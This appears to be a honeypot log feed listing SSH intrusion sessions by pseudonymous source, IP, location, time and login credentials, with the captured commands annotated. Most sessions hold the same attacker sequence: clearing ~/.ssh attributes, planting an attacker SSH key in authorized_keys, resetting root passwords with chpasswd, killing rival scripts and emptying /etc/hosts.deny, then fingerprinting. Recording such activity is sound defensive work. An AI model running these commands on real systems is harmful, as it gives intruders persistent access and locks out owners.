Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:a0mIT1o9QS7f"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:uHpTRdkkCEuV"|chpasswd|bash

🎭 shadow_root_23 (89.134.209.95) — Budapest, Hungary · 1 session · 19 cmds

2026-07-07 12:08 EDT · as root/303030

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:XTLe2vLj0A52"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 dragon_root_10 (60.167.165.58) — Hefei, China · 1 session · 20 cmds

2026-07-07 09:02 EDT · as hadoop/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1234\nXhmQMjLPF4WO\nXhmQMjLPF4WO"|passwd|bash

$ Enter new UNIX password:

$ echo "1234\nXhmQMjLPF4WO\nXhmQMjLPF4WO\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 lantern_root_5 (36.104.144.114) — Hangzhou, China · 1 session · 19 cmds

2026-07-07 08:54 EDT · as root/qweQWE!@#

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:vvSKyuNILK77"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 yankee_root_6 (104.9.60.148) — Boynton Beach, United States · 1 session · 20 cmds

2026-07-07 07:32 EDT · as deployer/1qaz@WSX

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "1qaz@WSX\nIBCR8btvvpzo\nIBCR8btvvpzo"|passwd|bash

$ Enter new UNIX password:

$ echo "1qaz@WSX\nIBCR8btvvpzo\nIBCR8btvvpzo\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_33 (189.190.244.176) — Puebla City, Mexico · 1 session · 20 cmds

2026-07-07 06:53 EDT · as admin/adminadmin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "adminadmin123\nD89GnR1urnoh\nD89GnR1urnoh"|passwd|bash

$ Enter new UNIX password:

$ echo "adminadmin123\nD89GnR1urnoh\nD89GnR1urnoh\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 gouda_sol_3 (91.92.40.239) — Amsterdam, The Netherlands · 3 sessions · 3 cmds

2026-07-07 05:35 EDT · as root/linux, root/root, test/test

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 stroopwafel_sol_4 (45.156.87.253) — Amsterdam, The Netherlands · 3 sessions · 3 cmds

2026-07-07 05:57 EDT · as root/linux, root/root, test/test

Ran uname 6x across 6 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×3

🎭 eagle_root_3 (185.150.190.130) — Piscataway, United States · 2 sessions · 38 cmds

2026-07-04 15:09 EDT · as root/Qwer4321, root/google2026

Ran uname 8x across 8 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:ChqzA7i7aERO"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:Oewurbmzv9jC"|chpasswd|bash

🎭 specter_root_27 (185.103.202.64) — Beyoğlu, Turkey · 1 session · 19 cmds

2026-07-07 05:16 EDT · as root/Qwer4321

Ran uname 8x across 8 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:CroVJthmRUrp"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 toucan_root_9 (45.71.123.230) — Passa e Fica, Brazil · 1 session · 19 cmds

2026-07-07 05:11 EDT · as root/Vps

Ran uname 8x across 8 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:4kf6b49v5xuy"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_36 (112.197.2.116) — Ho Chi Minh City, Vietnam · 1 session · 1 cmd

2026-07-07 03:40 EDT · as root/tinkerbell

echo

$ echo OK

🎭 lantern_root_6 (106.12.172.151) — Beijing, China · 1 session · 1 cmd

2026-07-07 03:25 EDT · as root/------fuck------

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 wraith_root_15 (45.117.177.47) — Quận Mười, Vietnam · 2 sessions · 38 cmds

2026-07-07 02:21 EDT · as root/gh123456, root/root,123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:DQJkEvUmkpNp"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:d57i4YHOisvW"|chpasswd|bash

🎭 phantom_root_23 (190.151.130.5) — Guatemala City, Guatemala · 1 session · 20 cmds

2026-07-07 02:25 EDT · as ubuntu/Pass@2024

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Pass@2024\nspcLD5NHEaiL\nspcLD5NHEaiL"|passwd|bash

$ Enter new UNIX password:

$ echo "Pass@2024\nspcLD5NHEaiL\nspcLD5NHEaiL\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 samba_root_7 (200.39.46.41) — Baixo Guandu, Brazil · 1 session · 19 cmds

2026-07-07 02:15 EDT · as root/hadoop

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:RxkvawaNDqec"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 carnival_root_6 (177.43.83.43) — Brasília, Brazil · 1 session · 20 cmds

2026-07-07 01:46 EDT · as ubuntu/Pass@2024

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Pass@2024\nVbjHTeiKu0ep\nVbjHTeiKu0ep"|passwd|bash

$ Enter new UNIX password:

$ echo "Pass@2024\nVbjHTeiKu0ep\nVbjHTeiKu0ep\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cowboy_root_7 (62.132.18.142) — Glen Cove, United States · 1 session · 19 cmds

2026-07-07 01:11 EDT · as root/s1s2s3s4

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:bYJWZOi6wysW"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 acai_root_2 (189.8.5.118) — Osasco, Brazil · 1 session · 19 cmds

2026-07-07 01:07 EDT · as root/tecnologia

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

